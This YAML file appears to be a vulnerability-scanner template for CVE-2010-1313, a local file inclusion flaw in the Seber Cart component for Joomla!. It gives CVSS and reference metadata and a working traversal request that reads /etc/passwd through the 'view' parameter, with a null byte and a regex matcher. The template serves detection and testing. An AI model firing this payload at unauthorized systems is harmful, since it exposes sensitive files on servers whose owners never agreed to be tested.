id: CVE-2010-1313

info:
  name: Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Seber Cart (com_sebercart) component 1.0.0.12 and 1.0.0.13 for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! CMS.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12082
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1313
    - http://www.exploit-db.com/exploits/12082
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-1313
    cwe-id: CWE-22
    epss-score: 0.0045
    epss-percentile: 0.75061
    cpe: cpe:2.3:a:seber:com_sebercart:1.0.0.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: seber
    product: com_sebercart
  tags: cve,cve2010,joomla,lfi,edb,seber

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205dfc838464838f6652f4c00621319235bc1691493e4234f227ff827c369a8115022100bfe2d8bc7bcd22d7b1445b9e8f118f896748ecf0ac22bf108a7fa2f5bde8c0a3:922c64590222798bb761d5b6d8e72950